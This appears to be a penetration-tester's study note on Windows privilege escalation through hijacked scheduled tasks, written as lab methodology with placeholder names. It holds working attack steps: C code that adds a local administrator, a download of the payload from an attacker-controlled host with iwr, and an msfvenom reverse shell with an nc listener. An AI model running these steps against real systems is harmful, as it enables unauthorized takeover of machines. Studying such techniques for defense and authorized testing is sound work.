2026-06-08
Privilege Escalation via Scheduled Tasks (Windows)
Theme of the day: Windows local privilege escalation by abusing Scheduled Tasks — the same hijack logic as service binary hijacking, applied to task actions.
> Methodology notes only — generic examples and placeholder names throughout. No specific target, account, or solution details.
The core mental model: the three questions
For any scheduled task, ask:
- Who runs it? (
Principal.UserId/Run As User) — only useful if SYSTEM or an admin, not your own user. - What's the trigger? — is it recurring or a future one-time? A one-time trigger already in the past is dead.
- What action does it run? — and can you write to that target (binary, script, or hijackable DLL)?
Win condition = the intersection: privileged principal + live/future trigger + a writable action target.
Enumeration — cutting through the noise
schtasks /query /fo LIST /v dumps hundreds of built-in tasks. Better to filter to non-built-in tasks:
# Custom (non-built-in) tasks only — note built-ins live under \Microsoft\Windows\
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\Windows\*"} | Select TaskName, TaskPath, State
Watch the filter boundary: a task can sit directly under \Microsoft\ (NOT \Microsoft\Windows\), so an over-broad -notlike "\Microsoft\*" filter would hide it. Tune the wildcard to the built-in Windows path only.
Answer the three questions for a single task without scrolling:
Get-ScheduledTask -TaskName "<TaskName>" | Get-ScheduledTaskInfo # Next/LastRunTime, LastResult
(Get-ScheduledTask -TaskName "<TaskName>").Principal.UserId # the run-as account
(Get-ScheduledTask -TaskName "<TaskName>").Actions | Select Execute, Arguments # the action target
A win looks like: principal is a privileged user; trigger is recurring or a future one-time; action runs a binary/script in a location you can write to (often under a normal user's home directory).
Confirm write access to the target file or its parent folder — write on the folder is enough to swap the file:
icacls "C:\path\to\action-target.exe"
Exploitation — match the payload to the objective
The action target dictates the technique, and the deliverable dictates the payload:
.ps1/.batscript action → simplest: just edit the script..exeaction → replace the binary (back up the original first).- Binary loading a missing/writable DLL → DLL hijack.
Add-an-admin payload (dependable, AV-friendly — no network/AV to fight):
// adduser.c
int main(){ system("net user <user> <pass> /add");
system("net localgroup administrators <user> /add"); return 0; }
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # cross-compile on Kali
python3 -m http.server 80
iwr -Uri http://<KALI_IP>/adduser.exe -OutFile <action-target>.exe
move .\<dir>\<action-target>.exe <action-target>.exe.bak # back up original
move .\<action-target>.exe .\<dir>\
Wait for the trigger to fire, then net user / net localgroup administrators to confirm.
Interactive-shell payload: when the objective is a live shell as the principal (not just adding an admin), use a reverse shell instead — e.g. msfvenom windows/x64/shell_reverse_tcp — with nc -lvnp <port> up before the trigger fires. Scheduled tasks often run non-interactively / in session 0, so prefer a plain shell_reverse_tcp over anything needing a desktop.
Reaching another user's protected files needs an elevated token, not just group membership — RDP/WinRM back in as the new admin, or spawn a high-integrity shell, then read the protected path.
Cleanup: restore the .bak so the task keeps working and the box is left intact.
Cross-cutting themes
- Enumeration discipline: filter by what makes a task interesting (non-built-in path, privileged principal, writable action) instead of grepping field names across every task.
Get-ScheduledTask+Get-ScheduledTaskInfoanswers the three questions in three clean commands. - Writable action target = the vuln. Whether it's a service or a scheduled task, the abuse pattern is identical: a privileged process executes something you can overwrite.
- Match the payload to the objective and execution context. Add-admin-user is the dependable default; a reverse shell gives a live session but is flakier and must account for non-interactive/session-0 execution.
- Be a good guest: back up originals (
.bak), restore after, and don't burn time on dead/expired triggers.